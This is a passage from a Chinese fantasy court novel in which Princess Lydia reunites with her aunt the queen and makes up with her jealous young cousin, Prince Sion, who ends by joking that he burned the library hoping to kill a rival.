十年未见,王后和莉迪娅有说不完的话。她先是询问莉迪娅在外面吃得好不好,穿得好不好,又问她回到王城之后还习不习惯这里的环境,这十年王城变换很大,紧接着又问她怎么回来之后没有马上来王宫,这话问到一半,王后自己先反应过来:“瞧我,我都忘前些天是我让诺克提斯先别带你进来。” 她絮絮叨叨,想到什么说什么,莉迪娅听得认真,一点儿也不嫌啰嗦。 三人坐在一起闲谈,同样的金发碧眼,相似的五官相似的面容,就像是亲密无间的一家人,看上去融洽的不得了。 这一幕落在偷偷躲过女仆跑进来的西昂眼里,刺眼极了。 金黄色头发的小王子像颗小炮弹一样冲过去,径直冲到王后身边,想也不想就推了一把诺克提斯:“你干嘛又来找我妈妈!” 被推的诺克提斯纹丝不动,还有余力托一把被自己反震到差点摔倒的西昂。 “西昂!”王后说,“你看你,像什么样子!” 十四岁的少年……不,应该说男孩更恰当,西昂个子不高,目测比莉迪娅还要矮一点点,尚未长开的脸上还有着明显的婴儿肥,还没到变声期的嗓音清脆响亮:“妈妈!你就知道偏心他!” 只看脸,谁都会觉得他是个像小天使一样可爱的男孩。 但细数这位小王子过往的战绩,可谓劣迹斑斑,火烧图书馆都是只是家常便饭,每天不是在被关禁闭就是在被关禁闭的路上。 但在莉迪娅的记忆中,表弟是个特别特别听话懂事的小孩子。 她看着和小时候长相相差无几的西昂,怎么也没办法将自己听到的那些“英雄事迹”和面前的男孩联系起来。 不过西昂立刻用实际行动给她展示了什么叫性格恶劣。 他站稳之后立刻和诺克提斯拉开了差距,恨不得在有限范围内和他保持最大限度的距离。这个角度让他没办法看清莉迪娅的面容,只知道这个陌生的女孩正亲密无间地靠在他妈妈的怀抱里。 她一定是和这个可恶的诺克提斯一样来抢他妈妈的! 可恶!他们就没有自己的妈妈吗! 西昂暴躁地捏紧拳头,从小接受的教育让他不会对女性动手,但是他的语气非常不善:“你又是谁,为什么出现在我家!” 王后抬高声音皱眉训斥:“西昂!你怎么能这样对你姐姐说话!” 被王后吼了一声,知道她这下是真的生气了,西昂捏着拳头,心不甘情不愿大喊了一声“对不起”,但紧接着再次催促:“你快离我妈妈远点。” 被比自己还小的孩子看着,莉迪娅不好意思再腻在小姨怀里。她从王后怀里钻出来,坐直了,好奇地打量这个表弟。 莉迪娅和王后长得很像。相似的金发碧眼,相似的五官,同为女性,也有着相似的柔和的面容。总之,粗粗一看,说她是缩小版的王后也不为过。 原本还怒气蓬勃的西昂在看清她的长相之后突然卡壳,他看看莉迪娅,又看看王后,非常犹豫不决地问:“妈妈?” 王后扬眉:“臭小子,怎么对姐姐说话的,快点来和你姐姐打招呼。” 面对诺克提斯的时候,西昂趾高气昂,对这个一把年纪还天天来和自己抢妈妈的男人只有讨厌没有亲近。但是面对一个和自己年岁相仿,又和妈妈极其相像的女孩子,西昂期期艾艾走近,盯着她看了又看,小声且乖巧地说:“姐姐。” 被叫姐姐了! 莉迪娅心花怒放,打心底里油然而生一种“升辈”了的快乐。她看着西昂金灿灿的头发,情不自禁说出了自己时常听到的一句话:“西昂,你还记得我吗?小时候我还抱过你呢!” 西昂的五官痛苦地扭曲起来。 王后笑得花枝乱颤,一手捏莉迪娅的脸颊肉肉,一手捏西昂的脸颊肉肉:“你们两个小鬼头,说什么谁抱谁的。” 莉迪娅说完自己也觉得不好意思,傻笑着撒娇:“小姨~” 西昂脸颊被捏到泛红,说话口齿不清:“你是莉迪娅姐姐吗?” 王后放开小儿子的脸,双手搓上莉迪娅脸颊上嫩滑的肌肤,揉揉捏捏:“是啊,你小时候天天念叨的要找莉迪娅姐姐,哝,现在在你面前啦。” 被母亲当众说了小时候的“糗事”,西昂别别扭扭,面色古怪地看了莉迪娅一会儿,突然气冲冲“哼”了一声,一跺脚转身跑走了。 莉迪娅茫然地看向王后。 王后哎呀了一声:“臭小子闹别扭呢。他小时候找不到你,天天在我跟前念叨 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顺着女仆的指引,莉迪娅在花园的一颗大树下找到了正蹲着拔草的西昂。 金黄色头发的小王子闷闷不乐,手上有一搭没一搭揪着树根旁的小草,看到来人,大哼一声,夸张地转过身背对她。 莉迪娅忍笑蹲到他身边,拢了拢裙子,歪头看他:“怎么不开心。” 西昂再度哼哼,把头扭过去。 莉迪娅扯他袖子:“和姐姐说说嘛。” 她温声细语,说话柔柔的,声音甜甜的,西昂贴着她的那边耳朵根悄悄红了。他又哼哼了一会儿,才转过头,满是委屈地控诉:“你为什么不给我回信?” “我小时候给你写了那么多信!你为什么一封都没回给我!”提起这件事,西昂就有了无限的委屈。 莉迪娅非常愧疚地道歉:“对不起,西昂,我那个时候写不了字,但是我有在信封里放干花寄给你的……可能是那个时候东西太多,弄丢了吧。” 西昂憋红了脸还想控诉:“那、那你也可以找人代笔啊。” 莉迪娅满脸真诚:“因为大家都说看不懂信里写了什么嘛。” 西昂跳脚:“那是我还小!认识的字不多!但是不会的字我都用画画代替了,你肯定能看懂的!” 莉迪娅总算知道小姨为什么这么喜欢逗他了,她试探着伸手,见西昂没有躲开,嫩白的手落在男孩软趴趴的头发上:“但是我那个时候看不清东西呀,对不起嘛,西昂。等我的眼睛能看见的时候,西昂写的每一封信我都看过了哦。可是再后来就没有收到西昂的信,还以为你已经忘记我了。” 尾音落下,带着明显的失落。 西昂瞪大眼睛,不明白明明他才是生气的那一个,为什么突然间又觉得是自己的错,感觉好对不起莉迪娅。 他被温柔地揉了脑袋,支支吾吾半天,憋出一句:“好吧,对不起。那我们扯平了,我原谅你了。” 莉迪娅笑起来:“好,对不起。我也原谅你了。” 年龄相仿的姐弟俩重归于好,西昂拉着莉迪娅逛了一圈花园,又迫不及待带她去看自己的秘密基地。 说是秘密基地,其实就是王宫里的一个偏僻的宫殿。西昂偶然间发现了这里,于是理所当然将这个地方据为己有。 但从小娇生惯养的小王子显然没有耐心打扫整座宫殿,所以西昂只挑选了自己最喜欢、视野最开阔的一个房间,零零散散往里面添置了不少他能搬动的家具,两个身形纤细的孩子窝在这里,也称得上安稳舒适。 莉迪娅好奇地探索了一下这个房间,兴趣很快转移到窗外的风景上。 “感觉这里好高啊,好像能看到整个王宫。” 西昂饶有兴致地指给她看:“不能看全,但是也差不多。那里是我妈妈的花园,那里是我父亲平时办公的地方,那里是图书馆……” 说到一半,他突然停下来,紧紧盯着一个方向。 莉迪娅跟着望过去,图书馆前空旷的小道上看到了一个有着火红头发的背影。 “那是……?” “是那个突然冒出来的家伙。”西昂说,“今晚的舞会就是为他准备的。” 莉迪娅一时语塞,和西昂一起沉默地看着那个身影走进图书馆,忽然想起什么:“可是图书馆不是被……” “被我烧啦。”西昂扭头冲她露出一个灿烂的笑脸,“真的好可惜哦,没有把他烧死在里面。”